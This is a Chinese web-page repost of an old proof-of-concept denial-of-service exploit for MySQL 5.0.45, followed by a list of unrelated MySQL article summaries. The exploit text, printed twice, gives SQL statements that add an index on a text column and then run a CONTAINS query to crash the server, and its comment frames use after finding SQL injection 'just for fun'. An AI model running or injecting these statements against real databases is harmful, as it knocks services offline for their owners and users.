mysql 5.0.45 （修改）拒絕服務(wù)漏洞
更新時(shí)間：2010年07月22日 23:39:50 作者：
mysql 5.0.45 （修改）拒絕服務(wù)漏洞的方法，追求安全的朋友可以參考下。
mysql 5.0.45 （修改）拒絕服務(wù)漏洞
/*
* MySQL <=6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe Gallo
* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* in the nuts just for fun. Start with the Alter TABLE statement on
* a table and field you know to exist. The first two SQL statements are
* simply to demostrate reproducibility...
*/
<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected
mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
Empty set
mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0
mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>
/*
* MySQL <=6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe Gallo
* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* in the nuts just for fun. Start with the Alter TABLE statement on
* a table and field you know to exist. The first two SQL statements are
* simply to demostrate reproducibility...
*/
<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected
mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
Empty set
mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0
mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>
相關(guān)文章
詳解mysql中的concat相關(guān)函數(shù)
這篇文章主要介紹了mysql中的concat相關(guān)函數(shù)，本文給大家介紹的非常詳細(xì)，具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2018-11-11
簡(jiǎn)單聊一聊SQL中的union和union?all
在寫SQL的時(shí)候,偶爾會(huì)用到兩個(gè)表的數(shù)據(jù)結(jié)合在一起返回的,就需要用到UNION 和 UNION ALL,這篇文章主要給大家介紹了關(guān)于SQL中union和union?all的相關(guān)資料,需要的朋友可以參考下2023-02-02
本文章來給大家提供三種在mysql中避免重復(fù)插入記錄方法，主要是講到了ignore,Replace,ON DUPLICATE KEY UPDATE三種方法，有需要的朋友可以參考一下2013-08-08
下面小編就為大家?guī)硪黄鉀QMYSQL連接端口被占引入文件路徑錯(cuò)誤的問題。小編覺得挺不錯(cuò)的，現(xiàn)在就分享給大家，也給大家做個(gè)參考。一起跟隨小編過來看看吧2017-08-08
這篇文章主要介紹了mysql 5.7.11 winx64安裝配置教程，介紹了MySQL5.7安裝及初始化，感興趣的小伙伴們可以參考一下2016-08-08
mysql 8.0.18各版本安裝及安裝中出現(xiàn)的問題（精華總結(jié)）
這篇文章主要介紹了mysql 8.0.18各版本安裝及安裝中出現(xiàn)的問題,本文給大家介紹的非常詳細(xì)，具有一定的參考借鑒價(jià)值，需要的朋友可以參考下2019-12-12
MVCC多版本并發(fā)控制，是用來在數(shù)據(jù)庫(kù)中控制并發(fā)的方法，實(shí)現(xiàn)對(duì)數(shù)據(jù)庫(kù)的并發(fā)訪問用的，這篇文章主要介紹了mysql?mvcc?原理詳解,需要的朋友可以參考下2022-10-10
簡(jiǎn)單學(xué)習(xí)SQL的各種連接Join
sql語(yǔ)句中join是一種高效的語(yǔ)句，下面小編來帶大家詳細(xì)了解一下它的詳細(xì)情況2019-05-05
使用 date_sub() 函數(shù),從 answer_date 減去相應(yīng)的天數(shù),這個(gè)天數(shù)是由上面計(jì)算的行號(hào)決定,也就是減去行號(hào),從而來生成一個(gè)新的日期,這篇文章主要介紹了MySQL中data_sub()函數(shù),需要的朋友可以參考下2024-02-02
這篇文章主要介紹了MYSQL表，文章主要圍繞MySQL表的相關(guān)資料如創(chuàng)建表、刪除表、修改表、等展開內(nèi)容,需要的朋友可以參考一下，希望對(duì)你有所幫助2021-11-11